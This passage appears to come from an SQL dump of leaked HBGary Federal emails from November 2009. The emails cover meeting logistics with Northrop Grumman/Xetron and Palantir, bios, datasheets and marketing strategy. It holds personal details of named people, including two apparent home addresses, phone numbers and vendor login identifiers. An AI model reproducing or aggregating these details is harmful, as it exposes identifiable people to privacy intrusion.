resolution·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Works with iPod, iPhone, iTouchAdditional Product Info&nbsp;MSRP:&nbsp;$25.00&nbsp;&nbsp;$19.99&nbsp;&nbsp;Aarons Address:1223 Potomac School Rd.Mclean VA 22101&nbsp;Teds Address:874 Legend Oak Dr.Fountain CO 80817&nbsp;&nbsp;Can I get business cards this week? &nbsp;I have a conference I would like to have them for next tues or wed.Aaron BarrCEOHBGary FederalAddress: (what do the other DC folks use?)Phone: I think Penny was going to get a number for me.&nbsp;&nbsp;&nbsp;',5358,'aaron_hbgary_com/5358.html'),(156,'2009-11-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999674.M288551P3547Q156.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Digital DNA datasheet rewrite','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nWe were discussing how the datasheets could be improved.&nbsp;\r\nAttached is the current DDNA datasheet (pdf) and a word doc where I rewrote it\r\nlast week.&nbsp; Looking for feedback.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16200,'aaron_hbgary_com/16200.html'),(157,'2009-11-30','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999674.M866107P3547Q157.eml','aaron@hbgary.com','Re: Talking points for Tomorrow','\r\n\r\n\r\n\r\n\r\nRe: Talking points for Tomorrow\r\n\r\n\r\n\r\n\r\nOn ground.&nbsp; Need to get bag and car.\r\n\r\n----- Original Message -----\r\nFrom: Masterson, Brian (Xetron)\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;\r\nSent: Sun Nov 29 23:13:41 2009\r\nSubject: RE: Talking points for Tomorrow\r\n\r\nAaron,\r\nSounds good.&nbsp; Would also like to look at how to factor in the next generation in sensor technology.&nbsp; What you told me HBGary is working on got me thinking and seeing what Chris Kennedy has at Justice.&nbsp; Can you package that with the analytics you discussed to get more real-time updates to the front-end.\r\nHad flight problem so not landing til 1130.&nbsp; Will call you when I get on the ground.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Sunday, November 29, 2009 11:39 PM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Ted Vera\r\nSubject: Talking points for Tomorrow\r\n\r\nHey Brian,\r\n\r\nI wanted to give you some things to think about before we meet&nbsp;\r\ntomorrow for lunch.\r\n\r\nWhat I want to get out of the meeting with Palantir is an&nbsp;\r\nunderstanding and agreement on approach.\r\n\r\nApproach:\r\nCombine HBGary and Palantir products to create an incident handlers/\r\nmalware analyst toolsuite and knowledge management capability.&nbsp; Xetron&nbsp;\r\nand HBGary Federal will supply the highly trained analysts that we&nbsp;\r\nwill place in customer spaces to utilize these tools.&nbsp; With these&nbsp;\r\ntools we can also then share that knowledge and expertise across the&nbsp;\r\nenterprise.&nbsp; Other discussions might be somewhat of a brainstorming&nbsp;\r\nsession, and of course just a general intro of capabilities for our&nbsp;\r\nteams, etc.&nbsp; Sound good?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n',16000,'aaron_hbgary_com/16000.html'),(158,'2009-11-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999675.M389193P3547Q158.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Talking points for Tomorrow','K call when u get on the road.  U like afghan food or sushi?From my iPhoneOn Nov 30, 2009, at 11:40 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nOn ground.  Need to get bag and car.\r\n\r\n----- Original Message -----\r\nFrom: Masterson, Brian (Xetron)\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;\r\nSent: Sun Nov 29 23:13:41 2009\r\nSubject: RE: Talking points for Tomorrow\r\n\r\nAaron,\r\nSounds good.  Would also like to look at how to factor in the next generation in sensor technology.  What you told me HBGary is working on got me thinking and seeing what Chris Kennedy has at Justice.  Can you package that with the analytics you discussed to get more real-time updates to the front-end.\r\n\r\nHad flight problem so not landing til 1130.  Will call you when I get on the ground.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Sunday, November 29, 2009 11:39 PM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Ted Vera\r\nSubject: Talking points for Tomorrow\r\n\r\nHey Brian,\r\n\r\nI wanted to give you some things to think about before we meet \r\ntomorrow for lunch.\r\n\r\nWhat I want to get out of the meeting with Palantir is an \r\nunderstanding and agreement on approach.\r\n\r\nApproach:\r\nCombine HBGary and Palantir products to create an incident handlers/\r\nmalware analyst toolsuite and knowledge management capability.  Xetron \r\nand HBGary Federal will supply the highly trained analysts that we \r\nwill place in customer spaces to utilize these tools.  With these \r\ntools we can also then share that knowledge and expertise across the \r\nenterprise.  Other discussions might be somewhat of a brainstorming \r\nsession, and of course just a general intro of capabilities for our \r\nteams, etc.  Sound good?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n',13114,'aaron_hbgary_com/13114.html'),(159,'2009-11-30','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999676.M170284P3547Q159.eml','aaron@hbgary.com','Re: Talking points for Tomorrow','\r\nNever had afghan.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Mon Nov 30 10:43:30 2009Subject: Re: Talking points for Tomorrow\r\nK call when u get on the road.  U like afghan food or sushi?From my iPhoneOn Nov 30, 2009, at 11:40 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nOn ground.  Need to get bag and car.\r\n\r\n----- Original Message -----\r\nFrom: Masterson, Brian (Xetron)\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;\r\nSent: Sun Nov 29 23:13:41 2009\r\nSubject: RE: Talking points for Tomorrow\r\n\r\nAaron,\r\nSounds good.  Would also like to look at how to factor in the next generation in sensor technology.  What you told me HBGary is working on got me thinking and seeing what Chris Kennedy has at Justice.  Can you package that with the analytics you discussed to get more real-time updates to the front-end.\r\n\r\nHad flight problem so not landing til 1130.  Will call you when I get on the ground.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Sunday, November 29, 2009 11:39 PM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Ted Vera\r\nSubject: Talking points for Tomorrow\r\n\r\nHey Brian,\r\n\r\nI wanted to give you some things to think about before we meet \r\ntomorrow for lunch.\r\n\r\nWhat I want to get out of the meeting with Palantir is an \r\nunderstanding and agreement on approach.\r\n\r\nApproach:\r\nCombine HBGary and Palantir products to create an incident handlers/\r\nmalware analyst toolsuite and knowledge management capability.  Xetron \r\nand HBGary Federal will supply the highly trained analysts that we \r\nwill place in customer spaces to utilize these tools.  With these \r\ntools we can also then share that knowledge and expertise across the \r\nenterprise.  Other discussions might be somewhat of a brainstorming \r\nsession, and of course just a general intro of capabilities for our \r\nteams, etc.  Sound good?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n',6057,'aaron_hbgary_com/6057.html'),(160,'2009-11-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999676.M453269P3547Q160.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Talking points for Tomorrow','Very good place in Vienna down 123.  Called panjshir IIFrom my iPhoneOn Nov 30, 2009, at 11:46 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\nNever had afghan.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Nov 30 10:43:30 2009Subject: Re: Talking points for Tomorrow\r\n\r\nK call when u get on the road.  U like afghan food or sushi?From my iPhoneOn Nov 30, 2009, at 11:40 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nOn ground.  Need to get bag and car.\r\n\r\n----- Original Message -----\r\nFrom: Masterson, Brian (Xetron)\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;\r\nSent: Sun Nov 29 23:13:41 2009\r\nSubject: RE: Talking points for Tomorrow\r\n\r\nAaron,\r\nSounds good.  Would also like to look at how to factor in the next generation in sensor technology.  What you told me HBGary is working on got me thinking and seeing what Chris Kennedy has at Justice.  Can you package that with the analytics you discussed to get more real-time updates to the front-end.\r\n\r\n\r\nHad flight problem so not landing til 1130.  Will call you when I get on the ground.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Sunday, November 29, 2009 11:39 PM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Ted Vera\r\nSubject: Talking points for Tomorrow\r\n\r\nHey Brian,\r\n\r\nI wanted to give you some things to think about before we meet \r\ntomorrow for lunch.\r\n\r\nWhat I want to get out of the meeting with Palantir is an \r\nunderstanding and agreement on approach.\r\n\r\nApproach:\r\nCombine HBGary and Palantir products to create an incident handlers/\r\nmalware analyst toolsuite and knowledge management capability.  Xetron \r\nand HBGary Federal will supply the highly trained analysts that we \r\nwill place in customer spaces to utilize these tools.  With these \r\ntools we can also then share that knowledge and expertise across the \r\nenterprise.  Other discussions might be somewhat of a brainstorming \r\nsession, and of course just a general intro of capabilities for our \r\nteams, etc.  Sound good?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7748,'aaron_hbgary_com/7748.html'),(161,'2009-11-30','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1296999677.M378739P3547Q161.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Draft bio','Hi Karen,\r\n\r\nMy draft bio is below:\r\n\r\nTed.\r\n\r\nTed Vera has 20 years of Information Technology experience, with a  \r\nproven track record of winning and executing US Government contracts  \r\nwithin the DoD and Intelligence Community.  He has a breadth of IT  \r\nexperience, having excelled in positions including:  system  \r\nadministrator, website developer, system engineer, system security  \r\nengineer and program manager.  He has led development projects of all  \r\nsizes, from small custom web applications to large enterprise systems- \r\nof-systems leveraging commercial-off-the-shelf architectures.  Prior  \r\nto joining HBGary Federal, Mr. Vera lead the Netcentric Information  \r\nOperations Department for Northrop Grumman Information Systems  \r\n(TASC).  In this role, he managed over forty personnel and was  \r\nresponsible for contracts valued over $25M.\r\n\r\nMr. Vera served ten years in the US Army, starting in 1990 with the FL  \r\nArmy National Guard as a Field Artillery Fire Direction Specialist and  \r\nthen on active duty as a Satellite Communications Operator/ \r\nMaintainer.  His last duty assignment was as a shift NCO at the Army  \r\nSpace Operations Center at Army Space Command HQs, located in Colorado  \r\nSprings, CO. In 2000 Mr. Vera was honorably discharged from the US  \r\nArmy, and joined TRW Systems Company (later acquired by Northrop  \r\nGrumman).  During his tenure with Northrop Grumman, Mr. Vera  \r\nconsistently achieved extraordinary business results and received  \r\nnumerous prestigious customer and company awards including the 2002  \r\nNRO Operations Industrial Partner of the Year, and the 2008 TASC  \r\nPresident\'s Award.\r\n\r\nMr. Vera holds security clearances with the DoD and Intelligence  \r\nCommunity.\r\nMr. Vera earned a BS in Computer Information Systems from Colorado  \r\nChristian University and a MS in Computer Science from Colorado  \r\nTechnical University.\r\n',4124,'aaron_hbgary_com/4124.html'),(162,'2009-11-30','ted@hbgary.com','/aaron@hbgary.com/new/1296999677.M568599P3547Q162.eml','aaron@hbgary.com','Bio:  Ted Vera','I\'ve shared a document with you:\r\n\r\nBio:  Ted Vera\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF81ZHpqdmprdm0&hl=en&invite=COTr5JcF\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\n',4406,'aaron_hbgary_com/4406.html'),(163,'2009-11-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999677.M770900P3547Q163.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Resume & Proposal Library','Hi Bob / Greg,I have the company email directory, and now I was wondering if we have a repository for resumes?  If not, would it be possible to get everyone to put them on a share somewhere (ie google docs?) same for past proposals?  This information will be useful for Aaron and I as we develop our strategy.\r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',12430,'aaron_hbgary_com/12430.html'),(164,'2009-11-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999680.M219476P3547Q164.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: Resume & Proposal Library','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron,\r\n\r\n&nbsp;\r\n\r\nHere are some resumes.&nbsp; We have other developers now, but\r\nnone of them have ever worked on services contracts.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, November 30, 2009 1:09 PM\r\nTo: Barr Aaron; Greg Hoglund; Bob Slapnik\r\nSubject: Resume &amp; Proposal Library\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bob / Greg,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have the company email directory, and now I was wondering\r\nif we have a repository for resumes? &nbsp;If not, would it be possible to get\r\neveryone to put them on a share somewhere (ie google docs?) same for past\r\nproposals? &nbsp;This information will be useful for Aaron and I as we develop\r\nour strategy.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9572,'aaron_hbgary_com/9572.html'),(165,'2009-11-30','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999680.M558320P3547Q165.eml','ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Greg in DC Next WEEK','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg will be in DC next week so any appts you want him on,\r\nplease schedule on a google calendar and then you can share with me and I&#8217;ll\r\nprint out his schedule.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7762,'aaron_hbgary_com/7762.html'),(166,'2009-11-30','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999681.M16340P3547Q166.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Market/Business Analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPersistent Threat is something Mandiant has really sunk it&#8217;s\r\nteeth into.&nbsp; The data sheets tend to be \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;More focused on Forensics and Incident Response\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe want to put forth more Solutions approaches, that discuss how\r\na segment might use product.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWhile DDNA panels are good, they still are in the weeds, not a\r\nhigh level geared toward CISO.&nbsp; This is an area of messaging we need to get\r\nmore focused on.&nbsp;&nbsp; \r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe don&#8217;t want to lose our Responder Pro customers, they act as a\r\npaid eval for DDNA and the word of mouth on this product is fantastic.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Sunday, November 29, 2009 10:01 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Ted Vera\r\nSubject: Re: Market/Business Analysis\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think this would be very valuable.&nbsp; I, for one, want\r\nto move away from the Forensics messaging entirely.&nbsp; Forensics is a small\r\nmessage, and it has nothing to do with Digital DNA.&nbsp; Malware is the big\r\nplay, and threat is the big play.&nbsp; I think we have done reasonable well\r\nwith the Digital DNA part of our messaging, and this is reflected in the three\r\nbig graphical panels on our frontpage.&nbsp; However, alot of the more detailed\r\nmessages (data sheets etc) have not been rebranded to such an extent.&nbsp; In\r\nterms of addressing persistent threat, our technology _roasts_ Mandiant.&nbsp;\r\nHowever, they have their enteprise solution already in field and we are still\r\nlooking at Q1 at best for the active defense release.&nbsp; Also, Mandiant is\r\nreally a service company, not product, as far as I can tell.&nbsp; While HBGary\r\nFederal is going to compete more directly with Mandiant, HBGary proper is very\r\nproduct focused.&nbsp; We should work out a new messaging push for next\r\nyear.&nbsp; 2010 is going to be very big for us.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Nov 27, 2009 at 8:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Greg/Penny,\r\n\r\nI hope your thanksgiving was good and full. &nbsp;I am really looking forward\r\nto getting together week after next, and coming out west the week after that to\r\nget to know the rest of the team.\r\n\r\nA few questions. &nbsp;I know there has been somewhat of a rebranding effort.\r\n&nbsp;What is the vision of the brand of HBGary? &nbsp;Is it incident response\r\nfor the enterprise? &nbsp;Or does it reside significantly in traditional\r\nforensics, law enforcement type capabilities? &nbsp;I was reading through some\r\nof the data sheets and see a lot leaning more to the forensics side.\r\n&nbsp;Punch line of the questions, would it be worthwhile to have a branding\r\nsession to discuss the messages you want to convey on the website and on the\r\ndatasheets. &nbsp;Ted and I can provide the context of what will resonate on\r\nthe national and federal scene, I am sure both of you have been hearing to some\r\ndegree many of the same things.\r\n\r\nJust a thought. &nbsp;As I was starting to do my own laymans competitive\r\nanalysis through open source research, I notice brands like Mandiant and\r\nFireeye to name a few are focusing on the incident response. &nbsp;Big letters\r\nabove the fold on main pages, reads &quot;addressing the advanced persistent\r\nthreat&quot;, etc.\r\n\r\nMaybe there is a play between what HBGary and HBGary federal focuses on.\r\n&nbsp;Some of the same capabilities, but matter of focus?\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11155,'aaron_hbgary_com/11155.html'),(167,'2009-11-30','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1296999681.M312071P3547Q167.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Palantir Meeting @ Mon Nov 30 2pm - 3:30pm 	(aaron@hbgary.com)',' more details &raquo;Palantir MeetingWhenMon Nov 30 2pm – 3:30pm Eastern TimeWherePalantir Office (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;Brian.Masterson@ngc.com&#x2022;msteckman@palantirtech.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',4600,'aaron_hbgary_com/4600.html'),(168,'2009-11-30','ted@hbgary.com','/aaron@hbgary.com/new/1296999681.M608880P3547Q168.eml','aaron@hbgary.com','HBGary Federal Overview & Capabilities','I\'ve shared a document with you:\r\n\r\nHBGary Federal Overview & Capabilities\r\nhttps://docs.google.com/a/hbgary.com/present/edit?id=0Abu9N_XVzxNhZHFuNjV3dF83ZjJ4aDZqZGc&hl=en&invite=CK_MprME\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\n',15530,'aaron_hbgary_com/15530.html'),(169,'2009-11-30','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999681.M821713P3547Q169.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <tedvera@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Hello Penny Leavy','\r\nI received this, is this something you are interested in?\r\n-----Original Message-----\r\nFrom: fedmail@fedmail.prime-vendor.com\r\n[mailto:fedmail@fedmail.prime-vendor.com] \r\nSent: Monday, November 30, 2009 12:22 PM\r\nTo: penny@hbgary.com\r\nSubject: Hello Penny Leavy\r\n\r\nDear    	Penny Leavy\r\n		Hbgary, Inc.\r\n\r\nPrime Vendor is a provider of Government Sales Opportunities from Federal,\r\nState, County, City and Educational Facilities. We are a Certified Value\r\nAdded Network (VAN) registered with the Department of Defense. We provide\r\nElectronic Data Interchange (EDI) services for federal online bidding and\r\ncontract opportunities.\r\n\r\nWe would like to provide a free trial evaluation of our services with no\r\ncommitment. Your free trial account will allow you to:\r\n\r\nReceive Government Sales Opportunities from Federal, State, County, City and\r\nEducational Facilities.\r\n\r\nCreate your NIGP Service and Commodity profile to receive bid opportunities\r\nrelevant to your business.\r\n\r\nEvaluate Prime Vendor\'s EDI program that allows you to communicate with your\r\ngovernment or commercial clients.\r\n\r\nUse the login information below to enter our system and begin updating your\r\ncompany profile. The Client Code and Login Name are specific to your\r\ncompany. During registration you will create a password for your account.\r\n\r\nClient Code:    1333018\r\nLogin Name:     LEAVYPENNY\r\n\r\nStart here - http://govtbids.prime-vendor.com to login to the system.\r\n\r\nPlease note your login information in this email will not allow you to\r\naccess our main site at www.prime-vendor.com until after you have\r\nregistered.\r\n\r\nOur system requires that you create NIGP service and commodity code profiles\r\nfor State and Local government markets and Federal FSC code profile to\r\nreceive federal bid opportunities. Creating a very specific commodity and\r\nservice profile is critical to receiving bid opportunities.\r\n\r\nDuring your registration process you will create your commodity profiles,\r\nupdate your account information and create a password. You may then access\r\nyour account from our main site at www.prime-vendor.com. The system provides\r\nthe complete bid document and not just a notice of the opportunity. These\r\nbids are in PDF file format and may be viewed or printed as required.\r\n\r\nDepending on the type of products or services you offer, the program may\r\ndeliver 70 to 100 new Bid Opportunities each week. The program will\r\nautomatically send you an e-mail notification each day when new bid\r\nopportunities become available within your program. Creating a specific\r\ncommodity profile will assist you in receiving qualified opportunities.\r\nPlease consult our Help Desk for illustrated instructions. \r\n\r\nOur EDI program allows you to manage your federal contracts, receive and\r\nsubmit purchase orders, shipping documents, and process invoices\r\nelectronically with any federal agency. Additionally EDI may be utilized to\r\ncommunicate with your commercial clients.\r\n\r\n\r\nPlease contact helpdesk@prime-vendor.com if you have any questions or need\r\nhelp.\r\n\r\nIf you do not wish to receive any future special promotions or offers from\r\nPrime Vendor by email,\r\nGo here -\r\nhttp://govtbids.prime-vendor.com/notinterested/?F=RM&CLNID=1333018&EM=penny@\r\nhbgary.com&LG=LEAVYPENNY\r\n\r\n\r\n',5301,'aaron_hbgary_com/5301.html'),(170,'2009-11-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999684.M107980P3547Q170.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: Eagle','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron,\r\n\r\n&nbsp;\r\n\r\nAndy Purdy sometimes birddogs opportunities for us.&nbsp; Any interest\r\nin this one?&nbsp; Looks like he wants to hook us up with L-3.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Andy Purdy\r\n[mailto:andy.purdy@comcast.net] \r\nSent: Sunday, November 15, 2009 6:42 PM\r\nTo: \'Bob Slapnik\'\r\nSubject: RE: Eagle\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHere is the Centurion info about\r\nit.\r\n\r\n&nbsp;\r\n\r\nAndy\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, November 15, 2009 2:02 PM\r\nTo: \'Andy Purdy\'\r\nSubject: RE: Eagle\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAndy,\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;